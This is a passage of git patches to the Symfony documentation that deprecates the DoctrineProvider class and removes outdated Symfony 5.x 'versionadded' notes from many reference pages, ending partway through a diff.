Subject: [PATCH 2343/7107] [Cache] Deprecate the DoctrineProvider class

---
 cache.rst                                      | 5 +++++
 components/cache/adapters/doctrine_adapter.rst | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/cache.rst b/cache.rst
index dcf5333ffcc..632f5f4905f 100644
--- a/cache.rst
+++ b/cache.rst
@@ -187,6 +187,11 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ;
         };
 
+.. deprecated:: 5.4
+
+    The ``default_doctrine_provider`` option was deprecated in Symfony 5.4 and
+    it will be removed in Symfony 6.0.
+
 .. _cache-create-pools:
 
 Creating Custom (Namespaced) Pools
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
index 198ae19338c..78ca23ae1ea 100644
--- a/components/cache/adapters/doctrine_adapter.rst
+++ b/components/cache/adapters/doctrine_adapter.rst
@@ -39,4 +39,9 @@ third parameters::
     A :class:`Symfony\\Component\\Cache\\DoctrineProvider` class is also provided by the
     component to use any PSR6-compatible implementations with Doctrine-compatible classes.
 
+    .. deprecated:: 5.4
+
+        The ``DoctrineProvider`` class was deprecated in Symfony 5.4 and it will
+        be removed in Symfony 6.0.
+
 .. _`Doctrine Cache`: https://github.com/doctrine/cache

From 6aa61a12784baee99049b9f259774d7e711987ff Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 15 Jul 2021 14:50:46 +0200
Subject: [PATCH 2344/7107] Remove 5.x versionadded directives

---
 best_practices.rst                            |   2 +-
 cache.rst                                     |   9 --
 components/asset.rst                          |   4 -
 components/browser_kit.rst                    |   8 --
 .../cache/adapters/array_cache_adapter.rst    |   4 -
 .../adapters/couchbasebucket_adapter.rst      |   4 -
 components/config/definition.rst              |   7 -
 components/console/helpers/cursor.rst         |   5 -
 components/console/helpers/questionhelper.rst |   9 --
 components/console/helpers/table.rst          |   4 -
 components/console/single_command_tool.rst    |   5 -
 components/dependency_injection.rst           |   2 -
 components/dom_crawler.rst                    |   8 --
 components/filesystem.rst                     |   4 -
 components/http_foundation.rst                |  22 ---
 components/http_foundation/sessions.rst       |  22 ---
 components/intl.rst                           |   8 --
 components/ldap.rst                           |   5 -
 components/lock.rst                           |  24 +---
 components/options_resolver.rst               |  15 ---
 components/phpunit_bridge.rst                 |  32 -----
 components/process.rst                        |   8 --
 components/property_access.rst                |  12 +-
 components/property_info.rst                  |   4 -
 components/runtime.rst                        |  10 --
 components/security/authentication.rst        |   2 -
 components/security/authorization.rst         |   9 --
 components/security/secure_tools.rst          |   6 +-
 components/semaphore.rst                      |   4 -
 components/serializer.rst                     |  12 --
 components/string.rst                         |  40 ------
 components/uid.rst                            |  41 ------
 components/var_dumper.rst                     |   4 -
 components/yaml/yaml_format.rst               |   6 -
 configuration.rst                             |   5 -
 configuration/env_var_processors.rst          |   5 -
 console.rst                                   |  18 ---
 console/coloring.rst                          |   8 --
 console/input.rst                             |   4 -
 console/lockable_trait.rst                    |   4 -
 console/style.rst                             |   4 -
 contributing/documentation/format.rst         |  16 +--
 deployment/proxies.rst                        |  13 --
 doctrine/events.rst                           |   4 -
 event_dispatcher.rst                          |  10 --
 form/bootstrap5.rst                           |   4 -
 form/data_mappers.rst                         |   4 -
 form/form_themes.rst                          |  12 --
 forms.rst                                     |   4 -
 http_cache.rst                                |   5 -
 http_client.rst                               |  34 -----
 logging/processors.rst                        |   4 -
 mailer.rst                                    |  44 ------
 messenger.rst                                 | 125 +++---------------
 notifier.rst                                  |  41 ------
 notifier/chatters.rst                         |  24 ----
 notifier/texters.rst                          |   8 --
 profiler/data_collector.rst                   |   4 -
 rate_limiter.rst                              |   9 --
 reference/configuration/framework.rst         | 105 +--------------
 reference/configuration/kernel.rst            |   4 -
 reference/configuration/security.rst          |  43 +-----
 reference/configuration/swiftmailer.rst       |   4 -
 reference/constraints/AtLeastOneOf.rst        |   4 -
 reference/constraints/Blank.rst               |   4 -
 reference/constraints/CardScheme.rst          |   4 -
 reference/constraints/Choice.rst              |   4 -
 reference/constraints/Compound.rst            |  10 --
 reference/constraints/Count.rst               |   8 --
 reference/constraints/Country.rst             |   4 -
 reference/constraints/Currency.rst            |   4 -
 reference/constraints/Date.rst                |   4 -
 reference/constraints/DateTime.rst            |   4 -
 reference/constraints/Email.rst               |   4 -
 reference/constraints/Expression.rst          |   4 -
 .../constraints/ExpressionLanguageSyntax.rst  |   4 -
 reference/constraints/Hostname.rst            |   8 --
 reference/constraints/Iban.rst                |   4 -
 reference/constraints/Ip.rst                  |   4 -
 reference/constraints/IsFalse.rst             |   4 -
 reference/constraints/IsNull.rst              |   4 -
 reference/constraints/IsTrue.rst              |   4 -
 reference/constraints/Isbn.rst                |  16 ---
 reference/constraints/Isin.rst                |   4 -
 reference/constraints/Issn.rst                |   4 -
 reference/constraints/Language.rst            |   8 --
 reference/constraints/Length.rst              |  23 +---
 reference/constraints/Locale.rst              |   4 -
 reference/constraints/Luhn.rst                |   4 -
 reference/constraints/NotBlank.rst            |   4 -
 reference/constraints/NotNull.rst             |   4 -
 reference/constraints/Range.rst               |   8 --
 reference/constraints/Regex.rst               |   4 -
 reference/constraints/Sequentially.rst        |   4 -
 reference/constraints/Time.rst                |   4 -
 reference/constraints/Timezone.rst            |   4 -
 reference/constraints/Type.rst                |   4 -
 reference/constraints/Ulid.rst                |   4 -
 reference/constraints/Unique.rst              |   4 -
 reference/constraints/UniqueEntity.rst        |   4 -
 reference/constraints/Url.rst                 |   4 -
 reference/constraints/Uuid.rst                |   8 --
 reference/dic_tags.rst                        |  26 +---
 reference/forms/types/choice.rst              |   5 -
 reference/forms/types/color.rst               |   4 -
 reference/forms/types/integer.rst             |   6 -
 reference/forms/types/language.rst            |   4 -
 reference/forms/types/money.rst               |   4 -
 .../forms/types/options/choice_filter.rst.inc |   4 -
 .../options/extra_fields_message.rst.inc      |   4 -
 .../forms/types/options/label_html.rst.inc    |   4 -
 .../forms/types/options/priority.rst.inc      |   4 -
 .../forms/types/options/rounding_mode.rst.inc |   6 -
 reference/forms/types/percent.rst             |   8 --
 reference/forms/types/ulid.rst                |   4 -
 reference/forms/types/uuid.rst                |   4 -
 reference/twig_reference.rst                  |  20 ---
 routing.rst                                   |  35 +----
 security.rst                                  |  33 +----
 security/access_control.rst                   |   4 -
 security/authenticator_manager.rst            |  19 +--
 security/csrf.rst                             |   4 -
 security/custom_authentication_provider.rst   |   4 -
 security/impersonating_user.rst               |   5 -
 security/json_login_setup.rst                 |   2 -
 security/login_link.rst                       |   4 -
 security/remember_me.rst                      |   8 --
 security/user_checkers.rst                    |   4 -
 security/user_provider.rst                    |  11 --
 security/voters.rst                           |   4 -
 serializer.rst                                |   4 -
 service_container.rst                         |   6 -
 service_container/alias_private.rst           |   7 -
 service_container/autowiring.rst              |   8 --
 service_container/calls.rst                   |   6 -
 service_container/configurators.rst           |   1 -
 service_container/factories.rst               |   1 -
 service_container/injection_types.rst         |   1 -
 service_container/optional_dependencies.rst   |   1 -
 service_container/parent_services.rst         |   1 -
 service_container/service_decoration.rst      |   6 -
 .../service_subscribers_locators.rst          |   1 -
 session.rst                                   |  78 -----------
 session/database.rst                          |   5 -
 templates.rst                                 |   4 -
 testing.rst                                   |  19 ---
 translation.rst                               |  14 --
 translation/debug.rst                         |   9 +-
 translation/lint.rst                          |   8 --
 validation.rst                                |   4 -
 validation/custom_constraint.rst              |  10 --
 validation/sequence_provider.rst              |   4 -
 workflow.rst                                  |  34 +----
 workflow/dumping-workflows.rst                |   4 -
 154 files changed, 63 insertions(+), 1560 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 4928c79a6f9..51d3e61e2b7 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -368,7 +368,7 @@ Use the ``auto`` Password Hasher
 
 The :ref:`auto password hasher <reference-security-encoder-auto>` automatically
 selects the best possible encoder/hasher depending on your PHP installation.
-Starting from Symfony 5.3, the default auto hasher is ``bcrypt``.
+Currently, the default auto hasher is ``bcrypt``.
 
 Use Voters to Implement Fine-grained Security Restrictions
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/cache.rst b/cache.rst
index 632f5f4905f..6025593c386 100644
--- a/cache.rst
+++ b/cache.rst
@@ -107,10 +107,6 @@ The Cache component comes with a series of adapters pre-configured:
 * :doc:`cache.adapter.redis </components/cache/adapters/redis_adapter>`
 * :ref:`cache.adapter.redis_tag_aware <redis-tag-aware-adapter>` (Redis adapter optimized to work with tags)
 
-.. versionadded:: 5.2
-
-    ``cache.adapter.redis_tag_aware`` has been introduced in Symfony 5.2.
-
 Some of these adapters could be configured via shortcuts. Using these shortcuts
 will create pools with service IDs that follow the pattern ``cache.[type]``.
 
@@ -725,11 +721,6 @@ Clear all caches everywhere:
 Encrypting the Cache
 --------------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`
-    class was introduced in Symfony 5.1.
-
 To encrypt the cache using ``libsodium``, you can use the
 :class:`Symfony\\Component\\Cache\\Marshaller\\SodiumMarshaller`.
 
diff --git a/components/asset.rst b/components/asset.rst
index 5044ef2dab9..6cf0264dd3d 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -179,10 +179,6 @@ with the :doc:`HttpClient component </http_client>`::
     $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
     $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
 
-.. versionadded:: 5.1
-
-    The ``RemoteJsonManifestVersionStrategy`` was introduced in Symfony 5.1.
-
 Custom Version Strategies
 .........................
 
diff --git a/components/browser_kit.rst b/components/browser_kit.rst
index 475c84b9365..b93697f7bb9 100644
--- a/components/browser_kit.rst
+++ b/components/browser_kit.rst
@@ -90,10 +90,6 @@ convert the request parameters into a JSON string and set the needed HTTP header
     // this encodes parameters as JSON and sets the required CONTENT_TYPE and HTTP_ACCEPT headers
     $crawler = $client->jsonRequest('GET', '/', ['some_parameter' => 'some_value']);
 
-.. versionadded:: 5.3
-
-    The ``jsonRequest()`` method was introduced in Symfony 5.3.
-
 The :method:`Symfony\\Component\\BrowserKit\\AbstractBrowser::xmlHttpRequest` method,
 which defines the same arguments as the ``request()`` method, is a shortcut to
 make AJAX requests::
@@ -178,10 +174,6 @@ provides access to the form properties (e.g. ``$form->getUri()``,
 Custom Header Handling
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``getHeaders()`` method was introduced in Symfony 5.2.
-
 The optional HTTP headers passed to the ``request()`` method follows the FastCGI
 request format (uppercase, underscores instead of dashes and prefixed with ``HTTP_``).
 Before saving those headers to the request, they are lower-cased, with ``HTTP_``
diff --git a/components/cache/adapters/array_cache_adapter.rst b/components/cache/adapters/array_cache_adapter.rst
index c7b06f40753..baa7f840590 100644
--- a/components/cache/adapters/array_cache_adapter.rst
+++ b/components/cache/adapters/array_cache_adapter.rst
@@ -30,7 +30,3 @@ method::
         // is reached, cache follows the LRU model (least recently used items are deleted)
         $maxItems = 0
     );
-
-.. versionadded:: 5.1
-
-    The ``maxLifetime`` and ``maxItems`` options were introduced in Symfony 5.1.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..2ebb42c5f9f 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -7,10 +7,6 @@
 Couchbase Cache Adapter
 =======================
 
-.. versionadded:: 5.1
-
-    The CouchbaseBucketAdapter was introduced in Symfony 5.1.
-
 This adapter stores the values in-memory using one (or more) `Couchbase server`_
 instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
 :ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
diff --git a/components/config/definition.rst b/components/config/definition.rst
index dfe9f8e166a..bc57336391d 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -435,13 +435,6 @@ The following example shows these methods in practice::
 Deprecating the Option
 ----------------------
 
-.. versionadded:: 5.1
-
-    The signature of the ``setDeprecated()`` method changed from
-    ``setDeprecated(?string $message)`` to
-    ``setDeprecated(string $package, string $version, ?string $message)``
-    in Symfony 5.1.
-
 You can deprecate options using the
 :method:`Symfony\\Component\\Config\\Definition\\Builder\\NodeDefinition::setDeprecated`
 method::
diff --git a/components/console/helpers/cursor.rst b/components/console/helpers/cursor.rst
index da450925fc3..deffbef9be9 100644
--- a/components/console/helpers/cursor.rst
+++ b/components/console/helpers/cursor.rst
@@ -4,11 +4,6 @@
 Cursor Helper
 =============
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Console\\Cursor` class was introduced
-    in Symfony 5.1.
-
 The :class:`Symfony\\Component\\Console\\Cursor` allows you to change the
 cursor position in a console command. This allows you to write on any position
 of the output:
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 96ed044d0bc..b1ae67dfd7f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -117,10 +117,6 @@ from a predefined list::
         // ... do something with the color
     }
 
-.. versionadded:: 5.2
-
-    Support for using PHP objects as choice values was introduced in Symfony 5.2.
-
 The option which should be selected by default is provided with the third
 argument of the constructor. The default is ``null``, which means that no
 option is the default one.
@@ -242,11 +238,6 @@ You can also specify if you want to not trim the answer by setting it directly w
 Accept Multiline Answers
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.2
-
-    The ``setMultiline()`` and ``isMultiline()`` methods were introduced in
-    Symfony 5.2.
-
 By default, the question helper stops reading user input when it receives a newline
 character (i.e., when the user hits ``ENTER`` once). However, you may specify that
 the response to a question should allow multiline answers by passing ``true`` to
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 5e1735ce1a4..ae16799c18c 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -265,10 +265,6 @@ Here is a full list of things you can customize:
 
     This method can also be used to override a built-in style.
 
-.. versionadded:: 5.2
-
-    The option to style table cells was introduced in Symfony 5.2.
-
 In addition to the built-in table styles, you can also apply different styles
 to each table cell via :class:`Symfony\\Component\\Console\\Helper\\TableCellStyle`::
 
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 500d679d1e1..d4e36d55492 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -7,11 +7,6 @@ Building a single Command Application
 When building a command line tool, you may not need to provide several commands.
 In such case, having to pass the command name each time is tedious.
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Console\\SingleCommandApplication` class was
-    introduced in Symfony 5.1.
-
 Fortunately, it is possible to remove this need by declaring a single command
 application::
 
diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index b303e96d484..91aacc91b01 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -299,12 +299,10 @@ config files:
             $services = $configurator->services();
 
             $services->set('mailer', 'Mailer')
-                // the param() method was introduced in Symfony 5.2.
                 ->args([param('mailer.transport')])
             ;
 
             $services->set('newsletter_manager', 'NewsletterManager')
-                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->call('setMailer', [service('mailer')])
             ;
         };
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 8df1b8c8f67..4a3eba6610b 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -192,10 +192,6 @@ Get all the child or ancestor nodes::
     $crawler->filter('body')->children();
     $crawler->filter('body > p')->ancestors();
 
-.. versionadded:: 5.3
-
-    The ``ancestors()`` method was introduced in Symfony 5.3.
-
 Get all the direct child nodes matching a CSS selector::
 
     $crawler->filter('body')->children('p.lorem');
@@ -633,10 +629,6 @@ the whole form or specific field(s)::
 Resolving a URI
 ~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\DomCrawler\\UriResolver` helper class was added in Symfony 5.1.
-
 The :class:`Symfony\\Component\\DomCrawler\\UriResolver` class takes an URI
 (relative, absolute, fragment, etc.) and turns it into an absolute URI against
 another given base URI::
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 447c95f7ff5..aa7cef95894 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -287,10 +287,6 @@ exception on failure::
     // returns a path like : /tmp/prefix_wyjgtF.png
     $filesystem->tempnam('/tmp', 'prefix_', '.png');
 
-.. versionadded:: 5.1
-
-    The option to set a suffix in  ``tempnam()`` was introduced in Symfony 5.1.
-
 ``dumpFile``
 ~~~~~~~~~~~~
 
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 9fa9ab6e33c..9553f417eda 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -198,10 +198,6 @@ If the request body is a JSON string, it can be accessed using
 
     $data = $request->toArray();
 
-.. versionadded:: 5.2
-
-    The ``toArray()`` method was introduced in Symfony 5.2.
-
 Identifying a Request
 ~~~~~~~~~~~~~~~~~~~~~
 
@@ -288,10 +284,6 @@ this complexity and defines some methods for the most common tasks::
     HeaderUtils::parseQuery('foo[bar.baz]=qux');
     // => ['foo' => ['bar.baz' => 'qux']]
 
-.. versionadded:: 5.2
-
-    The ``parseQuery()`` method was introduced in Symfony 5.2.
-
 Accessing ``Accept-*`` Headers Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -475,10 +467,6 @@ a new object with the modified property::
         ->withDomain('.example.com')
         ->withSecure(true);
 
-.. versionadded:: 5.1
-
-    The ``with*()`` methods were introduced in Symfony 5.1.
-
 Managing the HTTP Cache
 ~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -523,11 +511,6 @@ call::
         'etag'             => 'abcdef',
     ]);
 
-.. versionadded:: 5.1
-
-    The ``must_revalidate``, ``no_cache``, ``no_store``, ``no_transform`` and
-    ``proxy_revalidate`` directives were introduced in Symfony 5.1.
-
 To check if the Response validators (``ETag``, ``Last-Modified``) match a
 conditional value specified in the client Request, use the
 :method:`Symfony\\Component\\HttpFoundation\\Response::isNotModified`
@@ -766,11 +749,6 @@ Symfony offers two methods to interact with this preference:
 * :method:`Symfony\\Component\\HttpFoundation\\Request::preferSafeContent`;
 * :method:`Symfony\\Component\\HttpFoundation\\Response::setContentSafe`;
 
-.. versionadded:: 5.1
-
-    The ``preferSafeContent()`` and ``setContentSafe()`` methods were introduced
-    in Symfony 5.1.
-
 The following example shows how to detect if the user agent prefers "safe" content::
 
     if ($request->preferSafeContent()) {
diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 5756a38fc58..d6d32501966 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -166,14 +166,6 @@ and "Remember Me" login settings or other user based state information.
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBag`
     This is the standard default implementation.
 
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\NamespacedAttributeBag`
-    This implementation allows for attributes to be stored in a structured namespace.
-
-    .. deprecated:: 5.3
-
-        The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-        If you need this feature, you will have to implement the class yourself.
-
 :class:`Symfony\\Component\\HttpFoundation\\Session\\Attribute\\AttributeBagInterface`
 has the API
 
@@ -242,20 +234,6 @@ So any processing of this might quickly get ugly, even adding a token to the arr
     $tokens['c'] = $value;
     $session->set('tokens', $tokens);
 
-.. deprecated:: 5.3
-
-    The ``NamespacedAttributeBag`` class is deprecated since Symfony 5.3.
-    If you need this feature, you will have to implement the class yourself.
-
-With structured namespacing, the key can be translated to the array
-structure like this using a namespace character (which defaults to ``/``)::
-
-    // ...
-    use Symfony\Component\HttpFoundation\Session\Attribute\NamespacedAttributeBag;
-
-    $session = new Session(new NativeSessionStorage(), new NamespacedAttributeBag());
-    $session->set('tokens/c', $value);
-
 Flash Messages
 ~~~~~~~~~~~~~~
 
diff --git a/components/intl.rst b/components/intl.rst
index 217b9618bc2..304b0143bc6 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -250,10 +250,6 @@ can change if the number is used in cash transactions or in other scenarios
     $fractionDigits = Currencies::getFractionDigits('SEK');         // returns: 2
     $cashFractionDigits = Currencies::getCashFractionDigits('SEK'); // returns: 0
 
-.. versionadded:: 5.3
-
-    The ``getCashFractionDigits()`` method was introduced in Symfony 5.3.
-
 Some currencies require to round numbers to the nearest increment of some value
 (e.g. 5 cents). This increment might be different if numbers are formatted for
 cash transactions or other scenarios (e.g. accounting)::
@@ -268,10 +264,6 @@ cash transactions or other scenarios (e.g. accounting)::
     $roundingIncrement = Currencies::getRoundingIncrement('CAD');         // returns: 0
     $cashRoundingIncrement = Currencies::getCashRoundingIncrement('CAD'); // returns: 5
 
-.. versionadded:: 5.3
-
-    The ``getCashRoundingIncrement()`` method was introduced in Symfony 5.3.
-
 All methods (except for ``getFractionDigits()``, ``getCashFractionDigits()``,
 ``getRoundingIncrement()`` and ``getCashRoundingIncrement()``) accept the
 translation locale as the last, optional parameter, which defaults to the
diff --git a/components/ldap.rst b/components/ldap.rst
index 08caf52b3e8..21ef7a8bcfb 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -160,11 +160,6 @@ delete existing ones::
     // Removing an existing entry
     $entryManager->remove(new Entry('cn=Test User,dc=symfony,dc=com'));
 
-.. versionadded:: 5.3
-
-    The option to make attribute names case-insensitive in ``getAttribute()``
-    and ``hasAttribute()`` was introduced in Symfony 5.3.
-
 Batch Updating
 ______________
 
diff --git a/components/lock.rst b/components/lock.rst
index 118c7015771..12e4aed8c83 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -123,14 +123,9 @@ they can be decorated with the ``RetryTillSaveStore`` class::
 When the provided store does not implement the
 :class:`Symfony\\Component\\Lock\\BlockingStoreInterface` interface, the
 ``Lock`` class will retry to acquire the lock in a non-blocking way until the
-lock is acquired.
-
-.. deprecated:: 5.2
-
-    As of Symfony 5.2, you don't need to use the ``RetryTillSaveStore`` class
-    anymore. The ``Lock`` class now provides the default logic to acquire locks
-    in blocking mode when the store does not implement the
-    ``BlockingStoreInterface`` interface.
+lock is acquired. However, the ``Lock`` class also provides the default logic to
+acquire locks in blocking mode when the store does not implement the
+``BlockingStoreInterface`` interface.
 
 Expiring Locks
 --------------
@@ -242,11 +237,6 @@ or until ``Lock::release()`` is called.
 Shared Locks
 ------------
 
-.. versionadded:: 5.2
-
-    Shared locks (and the associated ``acquireRead()`` method and
-    ``SharedLockStoreInterface``) were introduced in Symfony 5.2.
-
 A shared or `readers–writer lock`_ is a synchronization primitive that allows
 concurrent access for read-only operations, while write operations require
 exclusive access. This means that multiple threads can read the data in parallel
@@ -410,10 +400,6 @@ support blocking, and expects a TTL to avoid stalled locks::
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``MongoDbStore`` was introduced in Symfony 5.1.
-
 The MongoDbStore saves locks on a MongoDB server ``>=2.2``, it requires a
 ``\MongoDB\Collection`` or ``\MongoDB\Client`` from `mongodb/mongodb`_ or a
 `MongoDB Connection String`_.
@@ -510,10 +496,6 @@ locks::
 In opposite to the ``PdoStore``, the ``PostgreSqlStore`` does not need a table to
 store locks and does not expire.
 
-.. versionadded:: 5.2
-
-    The ``PostgreSqlStore`` was introduced in Symfony 5.2.
-
 .. _lock-store-redis:
 
 RedisStore
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index 5b32a612a51..0be9639814d 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -720,10 +720,6 @@ In same way, parent options can access to the nested options as normal arrays::
 Prototype Options
 ~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.3
-
-    Prototype options were introduced in Symfony 5.3.
-
 There are situations where you will have to resolve and validate a set of
 options that may repeat many times within another option. Let's imagine a
 ``connections`` option that will accept an array of database connections
@@ -769,13 +765,6 @@ connections.
 Deprecating the Option
 ~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The signature of the ``setDeprecated()`` method changed from
-    ``setDeprecated(string $option, ?string $message)`` to
-    ``setDeprecated(string $option, string $package, string $version, $message)``
-    in Symfony 5.1.
-
 Once an option is outdated or you decided not to maintain it anymore, you can
 deprecate it using the :method:`Symfony\\Component\\OptionsResolver\\OptionsResolver::setDeprecated`
 method::
@@ -870,10 +859,6 @@ method::
         }
     }
 
-.. versionadded:: 5.1
-
-    The ``define()`` and ``info()`` methods were introduced in Symfony 5.1.
-
 Performance Tweaks
 ~~~~~~~~~~~~~~~~~~
 
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index adde598b1ec..bfbab0afdaf 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -313,11 +313,6 @@ Then, you can run the following command to use that file and ignore those deprec
 
     $ SYMFONY_DEPRECATIONS_HELPER='baselineFile=./tests/allowed.json' ./vendor/bin/simple-phpunit
 
-.. versionadded:: 5.2
-
-    The ``baselineFile`` and ``generateBaseline`` options were introduced in
-    Symfony 5.2.
-
 Disabling the Verbose Output
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -329,10 +324,6 @@ It's also possible to change verbosity per deprecation type. For example, using
 ``quiet[]=indirect&quiet[]=other`` will hide details for deprecations of types
 "indirect" and "other".
 
-.. versionadded:: 5.1
-
-    The ``quiet`` option was introduced in Symfony 5.1.
-
 Disabling the Deprecation Helper
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -375,20 +366,12 @@ the compiling and warming up of the container:
 
     $ php bin/console debug:container --deprecations
 
-.. versionadded:: 5.1
-
-    The ``--deprecations`` option was introduced in Symfony 5.1.
-
 Log Deprecations
 ~~~~~~~~~~~~~~~~
 
 For turning the verbose output off and write it to a log file instead you can use
 ``SYMFONY_DEPRECATIONS_HELPER='logFile=/path/deprecations.log'``.
 
-.. versionadded:: 5.3
-
-    The ``logFile`` option was introduced in Symfony 5.3.
-
 Write Assertions about Deprecations
 -----------------------------------
 
@@ -424,11 +407,6 @@ times (order matters)::
         }
     }
 
-.. deprecated:: 5.1
-
-    Symfony versions previous to 5.1 also included a ``@expectedDeprecation``
-    annotation to test deprecations, but it was deprecated in favor of the method.
-
 Display the Full Stack Trace
 ----------------------------
 
@@ -935,11 +913,6 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     of PHPUnit to be considered. This is useful when testing a framework that does
     not support the latest version(s) of PHPUnit.
 
-.. versionadded:: 5.2
-
-    The ``SYMFONY_MAX_PHPUNIT_VERSION`` env variable was introduced in
-    Symfony 5.2.
-
 .. tip::
 
     If you still need to use ``prophecy`` (but not ``symfony/yaml``),
@@ -954,11 +927,6 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     env variable. This is specially useful for installing PHPUnit plugins without
     having to add them to your main ``composer.json`` file.
 
-.. versionadded:: 5.3
-
-    The ``SYMFONY_PHPUNIT_REQUIRE`` env variable was introduced in
-    Symfony 5.3.
-
 Code Coverage Listener
 ----------------------
 
diff --git a/components/process.rst b/components/process.rst
index 1182b1c32a1..f396c9760f7 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -105,10 +105,6 @@ with a non-zero code)::
 Configuring Process Options
 ---------------------------
 
-.. versionadded:: 5.2
-
-    The feature to configure process options was introduced in Symfony 5.2.
-
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::
@@ -452,10 +448,6 @@ check regularly::
 
     You can get the process start time using the ``getStartTime()`` method.
 
-    .. versionadded:: 5.1
-
-        The ``getStartTime()`` method was introduced in Symfony 5.1.
-
 .. _reference-process-signal:
 
 Process Idle Timeout
diff --git a/components/property_access.rst b/components/property_access.rst
index c8b674293a1..0a474f061a4 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -215,10 +215,10 @@ The ``getValue()`` method can also use the magic ``__get()`` method::
 
     var_dump($propertyAccessor->getValue($person, 'Wouter')); // [...]
 
-.. versionadded:: 5.2
+.. note::
 
-    The magic ``__get()`` method can be disabled since in Symfony 5.2.
-    see `Enable other Features`_.
+    The ``__get()`` method support is enabled by default.
+    See `Enable other Features`_ if you want to disable it.
 
 .. _components-property-access-magic-call:
 
@@ -356,10 +356,10 @@ see `Enable other Features`_::
 
     var_dump($person->getWouter()); // [...]
 
-.. versionadded:: 5.2
+.. note::
 
-    The magic ``__set()`` method can be disabled since in Symfony 5.2.
-    see `Enable other Features`_.
+    The ``__set()`` method support is enabled by default.
+    See `Enable other Features`_ if you want to disable it.
 
 Writing to Array Properties
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
diff --git a/components/property_info.rst b/components/property_info.rst
index 5a4e62b6cd2..0e50679c366 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -441,10 +441,6 @@ If ``serializer_groups`` is set to ``null``, serializer groups metadata won't be
 checked but you will get only the properties considered by the Serializer
 Component (notably the ``@Ignore`` annotation is taken into account).
 
-.. versionadded:: 5.2
-
-    Support for the ``null`` value in ``serializer_groups`` was introduced in Symfony 5.2. 
-
 DoctrineExtractor
 ~~~~~~~~~~~~~~~~~
 
diff --git a/components/runtime.rst b/components/runtime.rst
index e716ec6eb38..345d8f8cbc5 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -9,10 +9,6 @@ The Runtime Component
     to make sure the application can run with runtimes like PHP-FPM, ReactPHP,
     Swoole, etc. without any changes.
 
-.. versionadded:: 5.3
-
